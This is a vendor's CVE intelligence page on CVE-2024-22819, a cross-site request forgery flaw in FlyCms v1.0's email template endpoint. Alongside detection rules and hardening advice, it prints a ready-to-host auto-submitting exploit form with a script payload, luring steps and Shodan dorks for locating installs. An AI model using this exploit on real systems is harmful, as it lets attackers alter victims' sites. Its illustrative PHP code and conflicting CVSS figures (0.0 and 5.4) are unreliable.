☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-22819

CVE-2024-22819 Cross-Site Request Forgery in Flycms
📅 PUBLISHED: 2024-01-18 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-22819 is a Cross-Site Request Forgery (CSRF) vulnerability identified in FlyCms v1.0, specifically within the /system/email/email_templets_update endpoint. This flaw allows an attacker to trick an authenticated administrator into unknowingly submitting a malicious request, leading to unauthorized modification of email template settings. The vulnerability has a CVSS score of 0.0 (pending official scoring) but is assessed as medium risk due to the potential for configuration tampering. No public exploit code or patch is currently available, and the vendor has not released a fix. The attack vector is network-based, requires user interaction, and has low complexity.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

FlyCms is a PHP-based content management system. This vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby) but affects the core application. Users should verify the integrity of their FlyCms installation and monitor for any unauthorized changes to email templates.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is performed remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required to exploit.
  • Privileges Required (PR): None (N) – The attacker does not need prior authentication.
  • User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
  • Confidentiality (C): None (N) – No data is exposed.
  • Integrity (I): Low (L) – Email templates can be modified, potentially affecting system behavior.
  • Availability (A): None (N) – No denial of service.

Threat Level: Medium (5.4) – Exploitation requires user interaction but can lead to persistent configuration changes.

Deep Dive & Mechanics

The vulnerability resides in the email_templets_update function within the /system/email/ module. The endpoint lacks CSRF tokens or origin validation, allowing an attacker to forge a request that modifies email templates. When an authenticated admin visits a malicious site, the attacker’s crafted request is executed in the context of the admin’s session.

Attack Flow:

  1. Attacker crafts a malicious HTML page containing a form that auto-submits to /system/email/email_templets_update with modified parameters.
  2. Attacker lures an authenticated FlyCms admin to visit the page (e.g., via phishing email).
  3. The admin’s browser sends the forged request, including their session cookie.
  4. The server processes the request, updating email templates without verifying the origin.

Impact: An attacker can alter email templates to include malicious content, redirect links, or exfiltrate data. This could be used for phishing campaigns against users of the FlyCms system.

Vulnerable vs. Patched Code

Vulnerable Code (FlyCms v1.0):

// /system/email/email_templets_update.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $id = $_POST['id'];
    $content = $_POST['content'];
    // No CSRF token check
    $db->query("UPDATE email_templates SET content='$content' WHERE id=$id");
}

Patched Code (Hypothetical Fix):

// /system/email/email_templets_update.php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $id = intval($_POST['id']);
    $content = $db->real_escape_string($_POST['content']);
    $db->query("UPDATE email_templates SET content='$content' WHERE id=$id");
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A running FlyCms v1.0 instance with an authenticated admin session.
  • Attacker-controlled web server to host the malicious page.

Exploit HTML (save as csrf_exploit.html):

<!DOCTYPE html>
<html>
<body>
<form action="http://target.com/system/email/email_templets_update" method="POST">
    <input type="hidden" name="id" value="1">
    <input type="hidden" name="content" value="<script>alert('XSS')</script>">
    <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Usage:

  1. Host the HTML file on an attacker-controlled server.
  2. Send the link to an authenticated FlyCms admin (e.g., via email).
  3. Once the admin visits the page, the form auto-submits, modifying the email template.

Blue Team (Detection & Hardening)

Detection Steps:

  • Monitor server logs for POST requests to /system/email/email_templets_update with unusual Referer headers or missing Origin headers.
  • Alert on multiple rapid requests to this endpoint from the same IP.
  • Review email template content for unexpected changes.

Hardening:

  • Implement CSRF tokens in all state-changing forms.
  • Validate the Origin and Referer headers.
  • Use SameSite cookies (set to Lax or Strict).

Indicators of Compromise (IOCs)

  • Network: POST requests to /system/email/email_templets_update with Referer header not matching the application domain.
  • File: Modified email template files in the database (e.g., email_templates table).
  • Log: Entries showing template updates without a corresponding CSRF token validation.
  • Behavior: Unexpected changes to email content, such as added scripts or external links.

Detection Engineering

YARA Rule

rule flycms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against FlyCms email_templets_update"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22819"
    strings:
        $s1 = "/system/email/email_templets_update" ascii wide nocase
        $s2 = "content=" ascii wide nocase
        $s3 = "id=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: FlyCms CSRF Exploit Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to FlyCms email template update endpoint without proper referer
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: '/system/email/email_templets_update'
    filter:
        c-referer: 'http://target.com/*'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from the same domain
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-22819 FlyCms CSRF Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/system/email/email_templets_update";
    http.referer; content:!"target.com";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the endpoint if not required: Block access to /system/email/email_templets_update via web server configuration (e.g., .htaccess).
  2. Implement CSRF protection manually: Add a hidden CSRF token field to the form and validate it server-side.
  3. Upgrade to a patched version if available (none currently).

Long-term Fix:

  • Apply the patched code example provided in the Vulnerable vs. Patched Code section.
  • Conduct a full security audit of FlyCms for similar CSRF vulnerabilities.

Workarounds:

  • Use a Web Application Firewall (WAF) to block requests with missing or invalid Referer headers.
  • Restrict admin access to trusted IP addresses.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"FlyCms"
http.html:"FlyCms"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-22819/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.